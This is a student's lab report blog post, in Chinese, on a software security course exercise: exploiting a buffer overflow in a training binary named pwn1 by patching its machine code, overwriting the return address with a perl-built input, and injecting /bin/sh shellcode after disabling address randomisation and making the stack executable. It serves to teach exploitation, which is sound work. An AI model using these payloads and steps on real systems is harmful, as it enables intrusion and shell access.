实践九 软件安全攻防--缓冲区溢出和shellcode

1 实践内容

1.1 缓冲区溢出

计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。

1.2 shellcode

shellcode是一段用于利用软件漏洞而执行的代码,shellcode16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

1.3 反汇编(Disassembly)

反汇编(Disassembly)是把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。

1.4 常用汇编指令

NOP, JNE, JE, JMP, CMP汇编指令的机器码:

NOP:即"空指令"。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令,机器码:90.

JNE:条件转移指令,如果不相等则跳转,机器码:75

JE:条件转移指令,如果相等则跳转,机器码:74

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB 段内直接近转移Jmp near,机器码:E9 段内间接转移 Jmp word,机器码:FF 段间直接()转移Jmp far,机器码:EA

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2 实践过程

本次实践的对象是一个名为pwn1linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

实验要求:

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

首先进入pwn1存放的路径。输入指令"cd /home/kali/Desktop/",进入存放pwn1的桌面路径。

使用objdumppwn1进行反汇编,输入指令"objdump -d pwn1 | more"。按方向键的"下"查看更多内容,找到main函数的相关部分。

可以看出main调用foo函数的相关语句。

输入指令"vi pwn1",使用vi文本编辑器查看该文件。之后输入指令":%!xxd",将显示模式切换为16进制模式。

然后查找要修改的内容"/e8 d7",找到对应数据。

将"d7"修改成"c3",每修改一个字符,按一个r,修改一次。

修改完毕数据后,输入指令":%!xxd -r"将文件恢复文本显示。

最后输入":wq"保存并退出。

再次输入指令"objdump -d pwn1 | more"查看反编译结果。可以看出已经调用了"getShell"函数。修改成功。

运行修改后的文件,验证通过。

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

本次实验,通过构造一个攻击输入字符串来修改程序的返回地址,达成攻击的目标。通过观察pwn1程序的汇编代码,发现main函数调用foo函数后只给输入的数据分配了28字节(0x1c)的空间。因此,构造一个字符串使它的长度可以溢出至EIP所在位置,将返回地址"80484ba"覆盖为getShell函数的地址"804847d",则程序执行完foo函数后将返回到getShell函数去执行,完成攻击。

输入指令"perl -e 'print "12345678902234567890323456789042\x7d\x84\x04\x08\x0a"' > input"生成input文件。

输入指令"(cat input; cat) | ./pwn1",将构造好的字符串输入程序并运行。

成功执行ls命令,实验成功。

2.3 注入一个自己制作的shellcode并运行这段shellcode。

首先更换源和安装包。输入指令"sudo vim /etc/apt/sources.list",打开sources.list文件。在文件中添加以下内容:

deb http://http.kali.org/kali kali-rolling main contrib non-free

deb http://http.kali.org/kali sana main non-free contrib

deb http://security.kali.org/kali-security sana/updates main contrib non-free

deb http://old.kali.org/kali moto main non-free contrib

然后保存退出。输入指令"sudo apt-get update"再进行更新。

输入指令"apt-get install prelink"安装相关软件。

然后对操作系统和程序进行一些设置,方便找到注入的数据的地址。

输入这些指令:

execstack -s pwn1(设置堆栈可执行)

execstack -q pwn1(查询文件的堆栈是否可执行)

more /proc/sys/kernel/randomize_va_space(查看地址随机化的状态)

echo "0" > /proc/sys/kernel/randomize_va_space(关闭地址随机化)

采用的构造方法是retaddr+nop+shellcode,开始构造要注入的shellcode。将shellode放到缓冲区之后的内存中。shellcode为:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\"。

之后确定retaddr,构造用十六进制表示的37个字节的输入文件。输入指令"perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode"。

输入指令pwn1(cat input_shellcode; cat) | ./pwn1开始运行。

使用ps -ef | grep pwn1找到对应的进程号为2014

输入指令"gdb pwn1"打开gdbpwn1进行调试。然后输入指令"attach 2014"找到对应的进程。输入指令"disassemble foo"对foo函数进行反汇编,找到应该放置断点的位置,即断点应该放到ret之前。然后输入指令"break *0x080484ae"设置断点。

设置完毕,之前运行pwn1的终端中按下回车继续执行程序。gdb中输入指令"c",继续执行。

程序中断,输入指令"info r esp"查看栈顶指针所在的位置,并查看改地址存放的数据为:0xffffd17c

输入指令"x/16x 0xffffd17c"查看存放内容。其中的0x01020304,就是返回地址的位置。根据input_shellcode可知,shellcode就在其后(+4),所以地址应为0xffffd180

输入指令"perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode"构造最终的shellcode

在一个新终端中输如指令"(cat input_shellcode;cat) | ./pwn1"再次运行。

发现攻击完成。

2 学习中遇到的问题及解决

2.1 gdb的安装

gdb在安装后才能使用。

输入指令"sudo apt install gdb"可以开始安装。

2.2 execstack的安装

execstack在相关指令安装后才能使用。具体步骤前文已给出

3 学习感想和体会

通过本次实验,我学习到了软件安全攻防的基本原理和方法。熟悉了配置安装环境的过程,安装了各种工具。提高了对缓冲区溢出和shellcode的理解,更提高的自我学习的能力,让我受益匪浅。

posted @ 2022-05-12 17:20  戈壁胡杨  阅读(237)  评论(0编辑  收藏  举报